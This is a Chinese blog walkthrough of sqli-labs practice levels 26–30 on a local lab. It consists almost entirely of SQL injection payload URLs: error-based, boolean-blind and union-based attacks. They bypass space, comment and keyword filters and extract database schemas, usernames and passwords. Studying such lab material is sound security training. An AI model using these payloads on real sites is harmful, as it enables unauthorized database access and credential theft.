生命在于折腾——SQL注入的实操(六)less26-30

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

sql-lib项目,本篇文章介绍关卡26-30。

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less26

1、判断注入

这一关将很多东西都过滤掉了,所以可以使用url编码也可以使用报错注入。

2、获取数据库信息

http://sql/Less-26/?id=1’anandd(updataxml(1,concat(0x5e,database(),0x5e),1))anandd’
在这里插入图片描述

3、获取表信息

http://sql/Less-26/?id=0’||updatexml(1,concat(0x5e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x5e),1)||’
在这里插入图片描述

4、获取字段名

http://sql/Less-26/?id=0’||updatexml(1,concat(0x5e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema=‘security’)anandd(table_name=‘users’)),0x5e),1)||’
在这里插入图片描述

5、获取用户名密码

http://sql/Less-26/?id=0’||updatexml(1, concat(0x5e, ( select (group_concat(concat_ws(0x5e,username,passwoorrd))) from (security.users)%20 where (id=1) ) )%20%20 ,1)||’
在这里插入图片描述

三、less26a

1、判断注入

这一关在上一关的基础上加上了括号进行闭合,同时在sql语句执行抛出错误后不在前台页面输出,所以不能用报错注入了。

2、获取数据库信息

http://sql/Less-26a/?id=1%27)anandd(length(database())=8)||(%27
库名为8。
http://sql/Less-26a/?id=1%27)anandd(substr(database(),1,1)=‘s’)||(%27
第一个字母为s。

3、获取表信息

http://sql/Less-26a/?id=1’)anandd (substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),1,1)=‘e’) ;%00
在这里插入图片描述
同上,可以猜出来。

4、获取用户名和密码

?id=1’) anandd (substr((select( concat_ws(‘,’,username,password)) from (security.users )),1,1)=‘D’) ;%00

四、less27

1、判断注入

这一关似乎是上一关的升级版,为字符型注入,过滤了部分注释符号,空格和union select也被过滤了。

2、获取数据库信息

http://sql/Less-27/?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,database(),2/%0a/||’
在这里插入图片描述

3、获取表信息

id=0’/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(table_name)/%0a/from/%0a/information_schema.tables/%0a/where/%0a/table_schema=‘security’||’
在这里插入图片描述

4、获取字段信息

id=0’/%0a/uNiOn/%0a/sEleCt/%0a/1,2,group_concat(column_name)/%0a/from/%0a/information_schema.columns/%0a/where/%0a/table_schema=‘security’/%0a/and/%0a/table_name=‘users’||’
在这里插入图片描述

5、获取用户名密码

?id=0’/%0a/UnIoN/%0a/SeLeCt/%0a/1,(SeLeCt/%0a/group_concat(concat_ws(‘$’,id,username,password))/%0a/from/%0a/users),3/%0a/||’
在这里插入图片描述

五、less27a

1、判断注入

过滤掉了空格,注释符,union select,这里使用布尔盲注

2、获取数据库信息

?id=1"/%0a/and /%0a/length(database())=8/%0a/||"
?id=1"/%0a/and /%0a/substr(database(),1,8)=‘security’/%0a/||"
在这里插入图片描述

3、获取表信息

?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/table_name /%0a/from /%0a/information_schema.tables /%0a/where/%0a/ table_schema=‘security’ /%0a/limit/%0a/0,1),1,1)=‘e’/%0a/||"

4、获取字段信息

?id=1"/%0a/ and/%0a/ substr((sEleCt /%0a/column_name /%0a/from /%0a/information_schema.columns /%0a/where/%0a/ table_schema=‘security’ /%0a/and /%0a/table_name=‘users’ /%0a/limit/%0a/0,1),1,1)=‘i’||"

5、获取数据值

?id=1" /%0a/and /%0a/substr((sEleCt/%0a/ concat_ws(‘,’,username,password)/%0a/ from /%0a/security.users /%0a/limit/%0a/ 0,1),1,1)=‘D’||"

六、less28

1、判断注入

过滤了union select和注释符和空格

2、判断字段数

?id=1’)/%0A/order/%0A/by/%0A/3||(’

3、判断回显点

?id=1’)/%0A/and/%0A/1=2/%0A/UnIOn/%0A/all/%0A/SeLEct/%0A/1,2,3||(’

4、获取数据库信息

?id=1’)/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,database(),3/%0A/||(’

5、获取表信息

id=1’)/%0A/and/%0A/1=2/%0A/UnIOn/%0A/ALL/%0A/SeLEct/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema=‘security’/%0A/||(’

6、获取字段信息

id=1')/*%0A*/and/*%0A*/1=2/*%0A*/UnIOn/*%0A*/ALL/*%0A*/SeLEct/*%0A*/1,group_concat(column_name),3/*%0A*/from/*%0A*/information_schema.columns/*%0A*/where/*%0A*/table_schema='security'and/*%0A*/table_name='users'/*%0A*/||('

7、获取值

?id=1’)/%0A/and/%0A/1=2/%0A/UnIoN/%0A/all/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws(‘$’,id,username,password))/%0A/from/%0A/users),3/%0A/||(’

七、less28a

1、判断注入

基于联合查询的字符型注入,过滤了union select注释符和空格,与上一关差不多

2、判断回显点

?id=1’)/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,2,3||(’
在这里插入图片描述

3、获取数据库信息

?id=1’)/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,database(),3||(’
在这里插入图片描述

4、获取表信息

?id=1’)/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(table_name),3/%0A/from/%0A/information_schema.tables/%0A/where/%0A/table_schema=‘security’/%0A/||(’
在这里插入图片描述

5、获取字段信息

?id=1’)/%0A/and/%0A/1=2/%0A/unIon/%0A/sElect/%0A/1,group_concat(column_name),3/%0A/from/%0A/information_schema.columns/%0A/where/%0A/table_schema=‘security’/%0A/and/%0A/table_name=‘users’/%0A/||(’
在这里插入图片描述

6、获取用户名密码

/?id=1’)/%0A/and/%0A/1=2/%0A/UnIoN/%0A/SeLeCt/%0A/1,(SeLeCt/%0A/group_concat(concat_ws(‘$’,id,username,password))/%0A/from/%0A/users),3/%0A/||(’

在这里插入图片描述

八、less29

1、判断注入

这一关使用报错注入。

2、获取数据库信息

?id=1’ and extractvalue(1,concat(‘~’,database()))–+
在这里插入图片描述

3、获取表信息

?id=1’ and extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))–+
在这里插入图片描述

4、获取字段信息

http://sql/Less-29/?id=1’ and extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)))–+
在这里插入图片描述

5、获取详细信息

?id=1’ and extractvalue(1,concat(‘~’,(select concat_ws(‘,’,id,username,password) from security.users limit 0,1)))–+
在这里插入图片描述

九、less30

1、判断注入

闭合字符为",使用联合查询

2、判断字段数

http://sql/Less-30/?id=1" order by 3–+
在这里插入图片描述

3、判断回显点

http://sql/Less-30/?id=-1" union select 1,2,3–+
在这里插入图片描述

4、获取数据库信息

http://sql/Less-30/?id=-1" union select 1,2,database()–+
在这里插入图片描述

5、获取表信息

http://sql/Less-30/?id=-1"union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述

6、获取字段信息

http://sql/Less-30/?id=-1"union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+
在这里插入图片描述

7、获取用户名密码

http://sql/Less-30/?id=-1"union select 1,2,concat_ws(‘,’,id,username,password)from security.users limit 0,1–+
在这里插入图片描述

十、总结与后记

本篇文章是sql-lib的26关-30关,有问题请留言,万分感谢,本篇较难,参考了https://blog.csdn.net/m0_64361111/article/details/123570434这篇文档,万分感谢。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

易水哲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值